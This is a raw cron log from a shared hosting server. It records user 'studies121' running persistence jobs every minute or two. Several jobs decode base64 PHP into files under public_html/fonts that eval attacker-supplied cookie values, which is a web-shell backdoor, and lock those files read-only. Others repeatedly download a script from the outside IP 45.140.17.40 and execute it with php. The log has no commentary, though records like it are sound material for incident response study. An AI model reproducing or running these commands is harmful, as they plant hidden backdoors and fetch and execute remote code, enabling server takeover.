Sep 20 09:03:02 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:03:02 ip-184-168-122-23 CROND[31432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:03:02 ip-184-168-122-23 CROND[31433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:04:01 ip-184-168-122-23 CROND[31744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:04:01 ip-184-168-122-23 CROND[31746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:04:01 ip-184-168-122-23 CROND[31748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:04:01 ip-184-168-122-23 CROND[31747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:04:01 ip-184-168-122-23 CROND[31749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:05:01 ip-184-168-122-23 CROND[31997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:05:01 ip-184-168-122-23 CROND[32000]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 09:05:01 ip-184-168-122-23 CROND[31999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:05:01 ip-184-168-122-23 CROND[32001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:05:01 ip-184-168-122-23 CROND[32002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:05:01 ip-184-168-122-23 CROND[32003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:05:01 ip-184-168-122-23 CROND[32004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:06:02 ip-184-168-122-23 CROND[32253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:06:02 ip-184-168-122-23 CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:06:02 ip-184-168-122-23 CROND[32257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:06:02 ip-184-168-122-23 CROND[32259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:06:02 ip-184-168-122-23 CROND[32260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:07:01 ip-184-168-122-23 CROND[32512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:07:01 ip-184-168-122-23 CROND[32514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:07:01 ip-184-168-122-23 CROND[32515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:07:01 ip-184-168-122-23 CROND[32517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:08:01 ip-184-168-122-23 CROND[32754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:08:01 ip-184-168-122-23 CROND[32757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:08:01 ip-184-168-122-23 CROND[32755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:08:01 ip-184-168-122-23 CROND[32756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:08:01 ip-184-168-122-23 CROND[32758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:09:01 ip-184-168-122-23 CROND[575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:09:01 ip-184-168-122-23 CROND[577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:09:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:09:01 ip-184-168-122-23 CROND[579]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 09:09:01 ip-184-168-122-23 CROND[580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:10:01 ip-184-168-122-23 CROND[942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:10:01 ip-184-168-122-23 CROND[941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:10:01 ip-184-168-122-23 CROND[940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:10:01 ip-184-168-122-23 CROND[945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:10:01 ip-184-168-122-23 CROND[949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:10:01 ip-184-168-122-23 CROND[951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:10:01 ip-184-168-122-23 CROND[953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:10:01 ip-184-168-122-23 CROND[950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:11:01 ip-184-168-122-23 CROND[1204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:11:01 ip-184-168-122-23 CROND[1206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:11:01 ip-184-168-122-23 CROND[1210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:11:01 ip-184-168-122-23 CROND[1209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:12:01 ip-184-168-122-23 CROND[1489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:12:01 ip-184-168-122-23 CROND[1491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:12:01 ip-184-168-122-23 CROND[1490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:12:01 ip-184-168-122-23 CROND[1492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:12:01 ip-184-168-122-23 CROND[1495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:13:01 ip-184-168-122-23 CROND[1762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:13:01 ip-184-168-122-23 CROND[1761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:13:01 ip-184-168-122-23 CROND[1763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:13:01 ip-184-168-122-23 CROND[1764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:14:01 ip-184-168-122-23 CROND[2028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:14:01 ip-184-168-122-23 CROND[2029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:14:01 ip-184-168-122-23 CROND[2032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:14:01 ip-184-168-122-23 CROND[2033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:14:01 ip-184-168-122-23 CROND[2031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:15:01 ip-184-168-122-23 CROND[2285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:15:01 ip-184-168-122-23 CROND[2287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:15:01 ip-184-168-122-23 CROND[2288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
